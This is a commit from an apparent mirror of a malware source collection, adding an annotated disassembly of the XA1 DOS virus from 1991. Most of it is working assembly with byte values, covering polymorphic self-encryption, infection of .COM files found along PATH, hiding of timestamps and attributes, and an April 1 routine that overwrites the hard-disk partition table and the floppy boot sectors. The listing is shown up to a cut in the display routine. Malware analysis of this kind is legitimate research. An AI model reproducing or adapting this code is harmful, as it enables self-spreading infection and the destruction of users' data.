mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 07:49:24 +00:00
re-organize
push
This commit is contained in:
@@ -0,0 +1,909 @@
|
||||
;==============================================
|
||||
; Virus XA1 isolated in Poland in June 1991
|
||||
;
|
||||
; disassembled by Andrzej Kadlof July 1991
|
||||
;
|
||||
; (C) Polish Section of Virus Information Bank
|
||||
;==============================================
|
||||
|
||||
; virus entry point
|
||||
|
||||
0100 EB07 jmp 0109
|
||||
|
||||
0102 56 0A 03 59 00 ; first 7 bytes forms virus signature
|
||||
0107 2A 00 ; generation counter, never used (?)
|
||||
|
||||
; prepare stack for tricks
|
||||
; stack usage:
|
||||
; [BP + 2] cleared but not used
|
||||
; [BP + 0] offset in block
|
||||
; [BP - 2] low byte of size of decrypted part and encryption key
|
||||
|
||||
0109 0E push cs ; make free space on stack
|
||||
010A E80000 call 010D ; put current offset on the stack
|
||||
010D FA cli ; disable interrupt to safe stack
|
||||
010E 8BEC mov bp,sp
|
||||
0110 58 pop ax
|
||||
0111 32C0 xor al,al
|
||||
0113 894602 mov [bp+02],ax ; corrupt debbuger return address ??
|
||||
0116 8146002800 add word ptr [bp],0028 ; offset of first byte to encrypt
|
||||
|
||||
; encrypt virus code, this routine is changed in different virus copies
|
||||
|
||||
011B B9CE05 mov cx,05CE ; length of decrypted block
|
||||
011E B08C mov al,8C ; 8C is changed!
|
||||
0120 8846FF mov [bp-01],al
|
||||
0123 8B5E00 mov bx,[bp] ; current position in block
|
||||
; ^^ changed, possible 3 wariants:
|
||||
; ..5E.. mov bx,[bp] versions 0, 1, 2
|
||||
; ..76.. mov si,[bp] versions 3, 4, 5
|
||||
; ..7E.. mov di,[bp] versions 6, 7, 8
|
||||
|
||||
0126 884EFE mov [bp-02],cl ; low byte of counter
|
||||
0129 8A4EFF mov cl,[bp-01] ; encrypt key
|
||||
012C D207 rol byte ptr [bx],cl ; byte manipulation
|
||||
; ^^^^ changed, possible 9 wariants:
|
||||
; 000F add byte ptr [bx],cl version 0
|
||||
; 300F xor byte ptr [bx],cl version 1
|
||||
; D2O7 rol byte ptr [bx],cl version 2
|
||||
; 000C add byte ptr [si],cl version 3
|
||||
; 300C xor byte ptr [si],cl version 4
|
||||
; D204 rol byte ptr [si],cl version 5
|
||||
; 000D add byte ptr [di],cl version 6
|
||||
; 300D xor byte ptr [di],cl version 7
|
||||
; D205 rol byte ptr [di],cl version 8
|
||||
|
||||
012E EB00 jmp 0130 ; short pause
|
||||
0130 43 inc bx ; position in block
|
||||
; ^^ changed, possible 3 wariants:
|
||||
; 43 inc bx version 0, 1, 2
|
||||
; 46 inc si version 3, 4, 5
|
||||
; 47 inc di version 6, 7, 8
|
||||
|
||||
0131 8A4EFE mov cl,[bp-02] ; restore block size
|
||||
0134 E2F0 loop 0126 ; offset is decrypted!
|
||||
|
||||
; encrypted part
|
||||
|
||||
0136 FB sti
|
||||
|
||||
; get address of curent DTA and store it on the stack
|
||||
|
||||
0137 B42F mov ah,2F
|
||||
0139 CD21 int 21
|
||||
013B 06 push es
|
||||
013C 53 push bx
|
||||
|
||||
; get keyboard status bits
|
||||
|
||||
013D 33C0 xor ax,ax
|
||||
013F 8ED8 mov ds,ax
|
||||
0141 A01704 mov al,[0417]
|
||||
0144 2410 and al,10 ; extract scroll lock state
|
||||
0146 50 push ax ; store
|
||||
0147 80261704EF and byte ptr [0417],EF ; clear scroll lock flag
|
||||
|
||||
; restore DS
|
||||
|
||||
014C 8CC8 mov ax,cs
|
||||
014E 8ED8 mov ds,ax
|
||||
|
||||
; intercepte INT 24h
|
||||
|
||||
0150 BAC606 mov dx,06C6
|
||||
0153 B82425 mov ax,2524 ; set interrupt vector
|
||||
0156 CD21 int 21
|
||||
|
||||
; search for PATH= in environment block
|
||||
|
||||
0158 A12C00 mov ax,[002C] ; segment of environment block
|
||||
015B 8EC0 mov es,ax
|
||||
015D 33FF xor di,di ; begin of environment block
|
||||
015F FC cld
|
||||
|
||||
0160 26803D00 cmp es:byte ptr [di],00 ; end of block marker
|
||||
0164 741D je 0183 ; end fo block
|
||||
|
||||
0166 BE1B05 mov si,051B ; offset of string 'PATH='
|
||||
0169 B90500 mov cx,0005 ; length of string
|
||||
016C 8BC7 mov ax,di ; starting address
|
||||
016E F3A6 rep cmpsb ; compare
|
||||
0170 7411 je 0183 ; found
|
||||
|
||||
0172 8BF8 mov di,ax ; last starting point
|
||||
0174 32C0 xor al,al
|
||||
0176 B5FF mov ch,FF ; maximum block size
|
||||
0178 F2AE repnz scasb
|
||||
017A 74E4 je 0160
|
||||
|
||||
017C BF1A05 mov di,051A ; end of buffer for path
|
||||
017F 8CC8 mov ax,cs ; restore ES
|
||||
0181 8EC0 mov es,ax
|
||||
0183 C706C1056205 mov word ptr [05C1],0562
|
||||
|
||||
; set local DTA
|
||||
|
||||
0189 BA3605 mov dx,0536
|
||||
018C B41A mov ah,1A ; set DTA
|
||||
018E CD21 int 21
|
||||
|
||||
0190 A1F906 mov ax,[06F9]
|
||||
0193 A3F706 mov [06F7],ax
|
||||
0196 A1FD06 mov ax,[06FD]
|
||||
0199 A3FB06 mov [06FB],ax
|
||||
019C B90500 mov cx,0005 ; counter of potential victims
|
||||
019F BA1505 mov dx,0515 ; '*.COM', 0
|
||||
01A2 06 push es
|
||||
01A3 57 push di
|
||||
01A4 51 push cx
|
||||
|
||||
01A5 8CC8 mov ax,cs
|
||||
01A7 8EC0 mov es,ax
|
||||
01A9 B9FFFF mov cx,FFFF ; all possible attributes
|
||||
01AC B44E mov ah,4E ; find first
|
||||
01AE EB06 jmp 01B6
|
||||
|
||||
01B0 59 pop cx ; restore counter
|
||||
01B1 E35B jcxz 020E ; limit reached, check show/destruction
|
||||
|
||||
01B3 B44F mov ah,4F ; find next
|
||||
01B5 51 push cx ; store counter
|
||||
|
||||
01B6 CD21 int 21
|
||||
01B8 7203 jb 01BD ; continue
|
||||
|
||||
01BA E9F100 jmp 02AE
|
||||
|
||||
; restore address of path in environment block
|
||||
|
||||
01BD 59 pop cx
|
||||
01BE 5F pop di
|
||||
01BF 07 pop es
|
||||
|
||||
01C0 26803D00 cmp es:byte ptr [di],00 ; end of block?
|
||||
01C4 744A je 0210 ; yes
|
||||
|
||||
; copy path to buffer
|
||||
|
||||
01C6 BB6205 mov bx,0562 ; offset of buffer
|
||||
|
||||
01C9 268A05 mov al,es:[di] ; next character
|
||||
01CC 0AC0 or al,al ; end of block?
|
||||
01CE 740A je 01DA ; yes
|
||||
|
||||
01D0 47 inc di
|
||||
01D1 3C3B cmp al,3B ; ';', end of path?
|
||||
01D3 7405 je 01DA ; yes
|
||||
|
||||
01D5 8807 mov [bx],al ; copy character
|
||||
01D7 43 inc bx ; increase pointer
|
||||
01D8 EBEF jmp 01C9 ; get next character
|
||||
|
||||
01DA 81FB6205 cmp bx,0562 ; buffer not empty?
|
||||
01DE 74E0 je 01C0 ; empty
|
||||
|
||||
01E0 8A47FF mov al,[bx-01]
|
||||
01E3 3C3A cmp al,3A ; ':', root directory
|
||||
01E5 7408 je 01EF ; yes
|
||||
|
||||
01E7 3C5C cmp al,5C ; check last character, '\'
|
||||
01E9 7404 je 01EF ; there is
|
||||
|
||||
01EB C6075C mov byte ptr [bx],5C ; add '\'
|
||||
01EE 43 inc bx ; pointer to last character
|
||||
01EF 06 push es
|
||||
01F0 57 push di
|
||||
01F1 51 push cx
|
||||
01F2 891EC105 mov [05C1],bx ; store it
|
||||
01F6 8BF3 mov si,bx
|
||||
01F8 81EB6205 sub bx,0562 ; find path length
|
||||
01FC 8BCB mov cx,bx
|
||||
01FE BF1405 mov di,0514 ; destination buffer
|
||||
0201 8CC8 mov ax,cs ; restore ES
|
||||
0203 8EC0 mov es,ax
|
||||
0205 4E dec si
|
||||
0206 FD std
|
||||
0207 F3A4 rep movsb ; copy
|
||||
0209 8BD7 mov dx,di
|
||||
020B 42 inc dx
|
||||
020C EB97 jmp 01A5 ; find first
|
||||
|
||||
; end of infection proces, check condition for destruction/show
|
||||
|
||||
020E 58 pop ax ; balance stack
|
||||
020F 58 pop ax
|
||||
|
||||
0210 8CC8 mov ax,cs ; restore ES
|
||||
0212 8EC0 mov es,ax
|
||||
|
||||
; get date
|
||||
|
||||
0214 B42A mov ah,2A ; get date
|
||||
0216 CD21 int 21
|
||||
|
||||
0218 81FA0104 cmp dx,0401 ; April 1?
|
||||
021C 7533 jne 0251 ; no
|
||||
|
||||
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><>
|
||||
;
|
||||
; DESTRUCTION OF HARD DISK AND FLOPPIES IN A: AND B:
|
||||
;
|
||||
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><>
|
||||
|
||||
; copy partition table to sector 11h of side 0, track 0
|
||||
|
||||
021E BA8000 mov dx,0080 ; first hard drive
|
||||
0221 B90100 mov cx,0001 ; track 0 sector 1 (partition table)
|
||||
0224 BB0307 mov bx,0703 ; destroy victim code
|
||||
0227 B80102 mov ax,0201 ; read 1 sector
|
||||
022A 52 push dx
|
||||
022B 51 push cx
|
||||
022C 53 push bx
|
||||
022D CD13 int 13 ; disk I/O
|
||||
022F 5B pop bx
|
||||
0230 59 pop cx
|
||||
0231 5A pop dx
|
||||
0232 B111 mov cl,11 ; new place for partition table
|
||||
0234 B80103 mov ax,0301 ; write partition table
|
||||
0237 CD13 int 13
|
||||
|
||||
; set and of sector marker in the buffer
|
||||
|
||||
0239 C706350855AA mov word ptr [0835],AA55 ; end of sector marker
|
||||
|
||||
; overwrite partition table
|
||||
|
||||
023F B280 mov dl,80
|
||||
0241 E87404 call 06B8 ; write one sector to disk
|
||||
|
||||
; overwrite boot sector of drive A:
|
||||
|
||||
0244 32D2 xor dl,dl
|
||||
0246 E86F04 call 06B8 ; write one sector do disk
|
||||
|
||||
; overwrite boot sector of drive B:
|
||||
|
||||
0249 B201 mov dl,01
|
||||
024B E86A04 call 06B8 ; write disk
|
||||
|
||||
024E EB0A jmp 025A
|
||||
0250 90 nop
|
||||
|
||||
; compare date
|
||||
|
||||
0251 81FA180C cmp dx,0C18 ; december 24?
|
||||
0255 7203 jb 025A ; date earlier
|
||||
|
||||
;<><><><<><><><><><><><><><><><><><><><>
|
||||
;
|
||||
; CHRISTMAS SHOW
|
||||
;
|
||||
; see the description of subroutine 05D7
|
||||
;<><><><><><><><><><><><><><><><><><><><><>
|
||||
|
||||
0257 E87D03 call 05D7 ; drow christmas tree
|
||||
|
||||
; make sound
|
||||
|
||||
025A E440 in al,40
|
||||
025C 3CF8 cmp al,F8
|
||||
025E 7206 jb 0266
|
||||
|
||||
0260 E461 in al,61
|
||||
0262 0C03 or al,03
|
||||
0264 E661 out 61,al
|
||||
|
||||
; restore the state of scroll lock flag
|
||||
|
||||
0266 33C0 xor ax,ax
|
||||
0268 8ED8 mov ds,ax
|
||||
026A 58 pop ax
|
||||
026B 08061704 or [0417],al
|
||||
|
||||
; restore INT 24h
|
||||
|
||||
026F 2E8E1E1400 mov ds,cs:[0014] ; segment of INT 24h in PSP
|
||||
0274 2E8B161200 mov dx,cs:[0012] ; offset of INT 24h in PSP
|
||||
0279 B82425 mov ax,2524 ; set interrupt vector
|
||||
027C CD21 int 21
|
||||
|
||||
; restore DTA
|
||||
|
||||
027E 5A pop dx
|
||||
027F 1F pop ds
|
||||
0280 B41A mov ah,1A ; set DTA
|
||||
0282 CD21 int 21
|
||||
|
||||
; restore DS
|
||||
|
||||
0284 8CC8 mov ax,cs
|
||||
0286 8ED8 mov ds,ax
|
||||
|
||||
0288 BEF006 mov si,06F0
|
||||
028B 8B3EF706 mov di,[06F7]
|
||||
028F 033EFB06 add di,[06FB]
|
||||
0293 57 push di
|
||||
0294 B90700 mov cx,0007
|
||||
0297 FC cld
|
||||
0298 F3A4 rep movsb
|
||||
029A 33C0 xor ax,ax
|
||||
029C 8BD8 mov bx,ax
|
||||
029E 8BD0 mov dx,ax
|
||||
02A0 8BE8 mov bp,ax
|
||||
|
||||
02A2 8B36F706 mov si,[06F7]
|
||||
02A6 BF0001 mov di,0100
|
||||
02A9 8B0EFB06 mov cx,[06FB]
|
||||
02AD C3 ret
|
||||
|
||||
02AE BE5405 mov si,0554 ; file name in FCB
|
||||
02B1 8B3EC105 mov di,[05C1] ; address of destination
|
||||
02B5 B90D00 mov cx,000D ; length of asciiz string
|
||||
02B8 FC cld
|
||||
02B9 F3A4 rep movsb ; copy
|
||||
02BB BF2005 mov di,0520 ; buffer for file name
|
||||
02BE E8FA01 call 04BB ; copy
|
||||
02C1 7503 jne 02C6
|
||||
|
||||
02C3 E9EAFE jmp 01B0 ; find next/destruct/show
|
||||
|
||||
02C6 BF2B05 mov di,052B
|
||||
02C9 E8EF01 call 04BB ; copy file name
|
||||
02CC 7503 jne 02D1
|
||||
|
||||
02CE E9DFFE jmp 01B0 ; find next/destruct/show
|
||||
|
||||
02D1 C606610500 mov byte ptr [0561],00
|
||||
02D6 90 nop
|
||||
02D7 F6064B0507 test byte ptr [054B],07 ; attribute byte in DTA
|
||||
02DC 740F je 02ED ; hiden, system or read only, open file
|
||||
|
||||
02DE BA6205 mov dx,0562 ; file name
|
||||
02E1 33C9 xor cx,cx ; clear all attributes
|
||||
02E3 B80143 mov ax,4301 ; set file attributes
|
||||
02E6 CD21 int 21
|
||||
02E8 7303 jnb 02ED ; open file
|
||||
|
||||
02EA E9C3FE jmp 01B0 ; find next/destruct/show
|
||||
|
||||
02ED BA6205 mov dx,0562
|
||||
02F0 B8023D mov ax,3D02 ; open file for read/write
|
||||
02F3 CD21 int 21
|
||||
|
||||
02F5 8BD8 mov bx,ax ; handle
|
||||
02F7 7303 jnb 02FC
|
||||
|
||||
02F9 E9B4FE jmp 01B0 ; find next
|
||||
|
||||
; check file size
|
||||
|
||||
02FC A15205 mov ax,[0552] ; high word of file size in DTA
|
||||
02FF 0BC0 or ax,ax
|
||||
0301 7403 je 0306 ; file below 64K
|
||||
|
||||
0303 E99001 jmp 0496 ; close file and find next
|
||||
|
||||
0306 A15005 mov ax,[0550] ; lower word of file size
|
||||
0309 3D0700 cmp ax,0007 ; minimum file size
|
||||
030C 72F5 jb 0303 ; close file and find next
|
||||
|
||||
030E 3D00F8 cmp ax,F800 ; maximum file size
|
||||
0311 73F0 jnb 0303 ; close file and find next
|
||||
|
||||
; mayby already infected?
|
||||
|
||||
0313 8B16F706 mov dx,[06F7] ; form address of bufer
|
||||
0317 0316FB06 add dx,[06FB]
|
||||
031B B90700 mov cx,0007 ; number of bytes
|
||||
031E 52 push dx
|
||||
031F 51 push cx
|
||||
0320 B43F mov ah,3F ; read file
|
||||
0322 CD21 int 21
|
||||
|
||||
0324 59 pop cx
|
||||
0325 5E pop si
|
||||
0326 7208 jb 0330 ; read error, close and find next
|
||||
|
||||
; compare first 7 bytes with own code
|
||||
|
||||
0328 BF0001 mov di,0100 ; destination
|
||||
032B FC cld
|
||||
032C F3A6 rep cmpsb
|
||||
032E 7503 jne 0333
|
||||
|
||||
0330 E96301 jmp 0496 ; close file and find next, (infected!)
|
||||
|
||||
; get and store file date and time
|
||||
|
||||
0333 B80057 mov ax,5700 ; get file time stamp
|
||||
0336 CD21 int 21
|
||||
0338 72F6 jb 0330 ; close file, find next
|
||||
|
||||
033A 89160107 mov [0701],dx ; store date
|
||||
033E 890EFF06 mov [06FF],cx ; store time
|
||||
0342 C606610501 mov byte ptr [0561],01
|
||||
0347 90 nop
|
||||
|
||||
; check file size, if less than 603h bytes then append some garbage
|
||||
|
||||
0348 A15005 mov ax,[0550] ; file size
|
||||
034B 3D0306 cmp ax,0603
|
||||
034E 7321 jnb 0371
|
||||
|
||||
; file length is less than 603h, add some garbage
|
||||
|
||||
0350 33D2 xor dx,dx
|
||||
0352 33C9 xor cx,cx
|
||||
0354 B80242 mov ax,4202 ; move file ptr to EOF
|
||||
0357 CD21 int 21
|
||||
0359 7303 jnb 035E ; no errors, continue
|
||||
|
||||
035B E93801 jmp 0496 ; close file and find next
|
||||
|
||||
035E B90306 mov cx,0603 ; number of bytes
|
||||
0361 2B0E5005 sub cx,[0550] ; file size
|
||||
0365 B440 mov ah,40 ; write file
|
||||
0367 CD21 int 21
|
||||
0369 B80306 mov ax,0603 ; new file size
|
||||
036C 7303 jnb 0371
|
||||
|
||||
036E E92501 jmp 0496 ; close file and find next
|
||||
|
||||
; now file is at least 603h bytes long
|
||||
|
||||
0371 FEC4 inc ah
|
||||
0373 A3F906 mov [06F9],ax ; oryginal file size + 256
|
||||
0376 A15005 mov ax,[0550] ; file size
|
||||
0379 BE0306 mov si,0603 ; virus length
|
||||
037C 33FF xor di,di
|
||||
037E 3BC6 cmp ax,si
|
||||
0380 7302 jnb 0384
|
||||
|
||||
0382 8BF0 mov si,ax
|
||||
|
||||
0384 8936FD06 mov [06FD],si
|
||||
|
||||
0388 8BD7 mov dx,di
|
||||
038A 33C9 xor cx,cx
|
||||
038C B80042 mov ax,4200 ; move file ptr to BOF
|
||||
038F CD21 int 21
|
||||
0391 7303 jnb 0396
|
||||
|
||||
0393 E90001 jmp 0496 ; close file and find next
|
||||
|
||||
0396 8B16F706 mov dx,[06F7]
|
||||
039A 0316FB06 add dx,[06FB]
|
||||
039E B90002 mov cx,0200
|
||||
03A1 3BF1 cmp si,cx
|
||||
03A3 7302 jnb 03A7
|
||||
|
||||
03A5 8BCE mov cx,si ; number of bytes
|
||||
|
||||
03A7 52 push dx
|
||||
03A8 51 push cx
|
||||
03A9 B43F mov ah,3F ; read file
|
||||
03AB CD21 int 21
|
||||
03AD 59 pop cx
|
||||
03AE 5A pop dx
|
||||
03AF 7303 jnb 03B4 ; continue
|
||||
|
||||
03B1 E9E200 jmp 0496 ; close file and find next
|
||||
|
||||
03B4 52 push dx
|
||||
03B5 51 push cx
|
||||
03B6 33D2 xor dx,dx
|
||||
03B8 33C9 xor cx,cx
|
||||
03BA B80242 mov ax,4202 ; move file ptr to EOF
|
||||
03BD CD21 int 21
|
||||
03BF 59 pop cx
|
||||
03C0 5A pop dx
|
||||
03C1 7303 jnb 03C6 ; continue
|
||||
|
||||
03C3 E9D000 jmp 0496 ; close file and find next
|
||||
|
||||
03C6 B440 mov ah,40 ; write file
|
||||
03C8 CD21 int 21
|
||||
03CA 7303 jnb 03CF
|
||||
|
||||
03CC E9C700 jmp 0496 ; close file and find next
|
||||
|
||||
03CF 81C70002 add di,0200
|
||||
03D3 81EE0002 sub si,0200
|
||||
03D7 7602 jbe 03DB
|
||||
|
||||
03D9 EBAD jmp 0388
|
||||
|
||||
03DB FF060701 inc word ptr [0107] ; infection counter
|
||||
03DF 33D2 xor dx,dx
|
||||
03E1 33C9 xor cx,cx
|
||||
03E3 B80042 mov ax,4200 ; move file ptr to BOF
|
||||
03E6 CD21 int 21
|
||||
03E8 7303 jnb 03ED
|
||||
|
||||
03EA E9A900 jmp 0496 ; close file and find next
|
||||
|
||||
03ED 53 push bx ; store handle
|
||||
03EE E440 in al,40
|
||||
03F0 A807 test al,07
|
||||
03F2 74FA je 03EE
|
||||
|
||||
03F4 A21F01 mov [011F],al ; change decryption key
|
||||
|
||||
; get random number from system timer count
|
||||
|
||||
03F7 33C0 xor ax,ax
|
||||
03F9 8AF8 mov bh,al
|
||||
03FB 8ED8 mov ds,ax
|
||||
03FD A06C04 mov al,[046C] ; timer, low byte
|
||||
|
||||
0400 8CCA mov dx,cs ; restore DS
|
||||
0402 8EDA mov ds,dx
|
||||
|
||||
; generate rundom number in BX in the range 0..8
|
||||
|
||||
0404 B103 mov cl,03
|
||||
0406 F6F1 div cl ; AL <- AL/3, AH <- remainder
|
||||
0408 8AEC mov ch,ah ; store remainder (0, 1 or 2)
|
||||
040A 32E4 xor ah,ah ; prepare division
|
||||
040C F6F1 div cl ; AL <- AL / 9, AH <- remainder
|
||||
040E 8AC4 mov al,ah ; AL <- second remainder
|
||||
0410 02C0 add al,al ; *2, AL in [0..4]
|
||||
0412 02C4 add al,ah ; *3, AL in [0..6]
|
||||
0414 02C5 add al,ch ; first remainder
|
||||
0416 8AD8 mov bl,al ; BL in [0..8]
|
||||
|
||||
; multiply BX by 4 (table entry size)
|
||||
|
||||
0418 03DB add bx,bx
|
||||
041A 03DB add bx,bx
|
||||
041C 81C3C906 add bx,06C9 ; offset of table
|
||||
|
||||
; modify encryption routine (automodyfication)
|
||||
|
||||
0420 8A07 mov al,[bx]
|
||||
0422 A22401 mov [0124],al ; 3 versions 5E/76/7E
|
||||
0425 8B4701 mov ax,[bx+01]
|
||||
0428 A32C01 mov [012C],ax ; 9 wersions
|
||||
042B 8A4703 mov al,[bx+03] ; 3 versions
|
||||
042E A23001 mov [0130],al
|
||||
0431 8AC5 mov al,ch
|
||||
|
||||
; prepare decrypt routine
|
||||
|
||||
0433 BBED06 mov bx,06ED
|
||||
0436 D7 xlat
|
||||
0437 A26104 mov [0461],al ; modify decryption routine
|
||||
|
||||
; write new encryption routine to file
|
||||
|
||||
043A 5B pop bx ; restore handle
|
||||
043B BA0001 mov dx,0100 ; begin of file
|
||||
043E B93500 mov cx,0035 ; block size
|
||||
0441 B440 mov ah,40 ; write file
|
||||
0443 CD21 int 21
|
||||
0445 724F jb 0496 ; close file and find next
|
||||
|
||||
; decryption routine
|
||||
|
||||
0447 BE3501 mov si,0135 ; start of decrypted block
|
||||
044A B9CE05 mov cx,05CE ; size of decrypted block
|
||||
044D 53 push bx ; store handle
|
||||
044E 51 push cx
|
||||
044F B80002 mov ax,0200
|
||||
0452 8B1EF706 mov bx,[06F7]
|
||||
0456 031EFB06 add bx,[06FB]
|
||||
045A 53 push bx
|
||||
045B 8A0E1F01 mov cl,[011F] ; decription key
|
||||
|
||||
045F 8A2C mov ch,[si]
|
||||
0461 D2CD ror ch,cl ; <-- changed (3 variants)
|
||||
|
||||
; ^^ changed byte, possible wariants:
|
||||
; 28CD sub ch,cl versions: 0, 3, 6
|
||||
; 30CD xor ch,cl versions: 1, 4, 7
|
||||
; D2CD ror ch,cl versions: 2, 5, 8
|
||||
|
||||
0463 882F mov [bx],ch
|
||||
0465 43 inc bx
|
||||
0466 46 inc si
|
||||
0467 48 dec ax
|
||||
0468 75F5 jne 045F
|
||||
|
||||
046A 5A pop dx
|
||||
046B 59 pop cx
|
||||
046C 5B pop bx
|
||||
046D 51 push cx
|
||||
046E 81F90102 cmp cx,0201
|
||||
0472 7203 jb 0477
|
||||
|
||||
0474 B90002 mov cx,0200
|
||||
0477 B440 mov ah,40 ; write file
|
||||
0479 CD21 int 21
|
||||
047B 59 pop cx
|
||||
047C 7218 jb 0496 ; close file and find next
|
||||
|
||||
047E 81E90002 sub cx,0200
|
||||
0482 77C9 ja 044D
|
||||
|
||||
; restore file time stamp
|
||||
|
||||
0484 8B160107 mov dx,[0701] ; file date
|
||||
0488 8B0EFF06 mov cx,[06FF] ; file time
|
||||
048C B80157 mov ax,5701 ; set file time stamp
|
||||
048F CD21 int 21
|
||||
0491 7203 jb 0496 ; close file and find next
|
||||
|
||||
; decrease counter on the stack
|
||||
|
||||
0493 59 pop cx
|
||||
0494 49 dec cx
|
||||
0495 51 push cx
|
||||
|
||||
0496 B43E mov ah,3E ; close file
|
||||
0498 CD21 int 21
|
||||
049A 8A0E4B05 mov cl,[054B] ; attributes
|
||||
049E FE0E6105 dec byte ptr [0561]
|
||||
04A2 7405 je 04A9
|
||||
|
||||
04A4 F6C107 test cl,07 ; hidden, system, read only
|
||||
04A7 740F je 04B8
|
||||
|
||||
04A9 80F920 cmp cl,20 ; archive
|
||||
04AC 740A je 04B8
|
||||
|
||||
04AE BA6205 mov dx,0562 ; file name
|
||||
04B1 32ED xor ch,ch
|
||||
04B3 B80143 mov ax,4301 ; set file attributes
|
||||
04B6 CD21 int 21
|
||||
04B8 E9F5FC jmp 01B0 ; find next
|
||||
|
||||
;----------------------------------------
|
||||
; move 11 bytes do DS:DI ('C:\COMMAND.')
|
||||
|
||||
04BB BE6205 mov si,0562
|
||||
04BE B90B00 mov cx,000B
|
||||
04C1 FC cld
|
||||
04C2 F3A6 rep cmpsb
|
||||
04C4 C3 ret
|
||||
|
||||
; buffer for path
|
||||
|
||||
04C5 30 31 32 33 34 35 36 37 01234567
|
||||
04CD 38 39 30 31 32 33 34 35 89012345
|
||||
04D5 36 37 38 39 30 31 32 33 67890123
|
||||
04DD 34 35 36 37 38 39 30 31 45678901
|
||||
04E5 32 33 34 35 36 37 38 39 23456789
|
||||
04ED 30 31 32 33 34 35 36 37 01234567
|
||||
04F5 38 39 30 31 32 33 34 35 89012345
|
||||
04FD 36 37 38 43 3A 5C 4A 45 678C:\JE
|
||||
0505 5A 59 4B 49 43 3A 5C 50 ZYKIC:\P
|
||||
050D 43 44 3A 5C 55 43 3A 5C CD:\UC:\
|
||||
|
||||
; paterns for search
|
||||
|
||||
0515 2A 2E 43 4F 4D 00 50 41 *.COM PA
|
||||
051D 54 48 3D TH=
|
||||
|
||||
; buffers for file names
|
||||
|
||||
0520 49 42 4D 42 49 IBMBI
|
||||
0525 4F 2E 43 4F 4D 00 O.COM
|
||||
|
||||
052B 49 42 IB
|
||||
052D 4D 44 4F 53 2E 43 4F 4D MDOS.COM
|
||||
0535 00
|
||||
|
||||
; local DTA
|
||||
|
||||
0536 03 3F 3F 3F 3F 3F 3F ;\
|
||||
053D 3F 3F 43 4F 4D FF 02 00 ; | reserved
|
||||
0545 00 00 00 00 00 00 ;/
|
||||
054B 20 ; file attribute
|
||||
054C 00 60 71 0E ; file time stamp
|
||||
0550 DB 62 00 00 ; file size
|
||||
0554 43 4F 4D 4D 41 4E 44 2E 43 4F 4D 00 00 ; file name (COMMAND.COM, 0, 0)
|
||||
|
||||
0561 01 ; flag: attributes are changed
|
||||
|
||||
0562 43 3A 5C C:\
|
||||
0565 43 4F 4D 4D 41 4E 44 2E COMMAND.
|
||||
056D 43 4F 4D 00 00 4D 00 00 COM M
|
||||
0575 00 2E 43 4F 4D 00 4F 68 .COM Oh
|
||||
057D 4E 6F 21 4F 68 4E 6F 21 No!OhNo!
|
||||
0585 4F 68 4E 6F 21 4F 68 4E OhNo!OhN
|
||||
058D 6F 21 4F 68 4E 6F 21 4F o!OhNo!O
|
||||
0595 68 4E 6F 21 4F 68 4E 6F hNo!OhNo
|
||||
059D 21 4F 68 4E 6F 21 4F 68 !OhNo!Oh
|
||||
05A5 4E 6F 21 4F 68 4E 6F 21 No!OhNo!
|
||||
05AD 4F 68 4E 6F 21 4F 68 4E OhNo!OhN
|
||||
05B5 6F 21 4F 68 4E 6F 21 4F o!OhNo!O
|
||||
05BD 68 4E 6F 21 hNo!
|
||||
|
||||
05C1 65 05 ;
|
||||
|
||||
;---------------------------------------
|
||||
; write character (or space) cx times
|
||||
|
||||
05C3 B020 mov al,20
|
||||
|
||||
05C5 50 push ax
|
||||
05C6 E89E00 call 0667 ; write character
|
||||
05C9 58 pop ax
|
||||
05CA E2F9 loop 05C5
|
||||
05CC C3 ret
|
||||
|
||||
;-------------
|
||||
; next line
|
||||
|
||||
05CD B00D mov al,0D
|
||||
05CF E89500 call 0667 ; write character
|
||||
05D2 B00A mov al,0A
|
||||
05D4 E99000 jmp 0667 ; write character
|
||||
|
||||
;------------------------------
|
||||
; drow christmast tree
|
||||
;
|
||||
; result will look like this:
|
||||
;
|
||||
;
|
||||
;
|
||||
; ***
|
||||
; *****
|
||||
; *******
|
||||
; *********
|
||||
; ***********
|
||||
; *************
|
||||
; ***************
|
||||
; *****************
|
||||
; *******************
|
||||
; *********************
|
||||
; ***********************
|
||||
; *************************
|
||||
; ***************************
|
||||
; *****************************
|
||||
; ÛÛÛ
|
||||
; ÛÛÛ
|
||||
; ÛÛÛ
|
||||
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||||
; Und er lebt doch noch : Der Tannenbaum !
|
||||
; Frohe Weihnachten ...
|
||||
;
|
||||
|
||||
05D7 B92700 mov cx,0027
|
||||
05DA E8E6FF call 05C3 ; clear 39 characters
|
||||
05DD B0AD mov al,AD ; ''
|
||||
05DF E88500 call 0667 ; write character
|
||||
05E2 E8E8FF call 05CD ; new line
|
||||
05E5 BB0300 mov bx,0003
|
||||
05E8 BA2600 mov dx,0026
|
||||
|
||||
05EB 8BCA mov cx,dx
|
||||
05ED E8D3FF call 05C3 ; write CX spaces
|
||||
05F0 8BCB mov cx,bx
|
||||
05F2 B02A mov al,2A ; '*'
|
||||
05F4 E8CEFF call 05C5 ; write CX characters
|
||||
05F7 E8D3FF call 05CD ; new line
|
||||
05FA 4A dec dx
|
||||
05FB 83C302 add bx,0002
|
||||
05FE 83FB1F cmp bx,001F
|
||||
0601 75E8 jne 05EB
|
||||
|
||||
0603 BB0300 mov bx,0003
|
||||
0606 B92600 mov cx,0026
|
||||
0609 E8B7FF call 05C3 ; write CX spaces
|
||||
060C B90300 mov cx,0003
|
||||
060F B0DB mov al,DB ; 'Û'
|
||||
0611 E8B1FF call 05C5 ; write CX characters
|
||||
0614 E8B6FF call 05CD ; next line
|
||||
0617 4B dec bx
|
||||
0618 75EC jne 0606
|
||||
|
||||
061A B95000 mov cx,0050 ; full line
|
||||
061D B0CD mov al,CD ; 'Í'
|
||||
061F E8A3FF call 05C5 ; write character CX times
|
||||
0622 B91300 mov cx,0013
|
||||
0625 E89BFF call 05C3 ; write CX spaces
|
||||
0628 BB7406 mov bx,0674 ; string: Und er lebt doch ...
|
||||
062B E82C00 call 065A ; write string
|
||||
062E B91D00 mov cx,001D
|
||||
0631 E88FFF call 05C3 ; clear part of line
|
||||
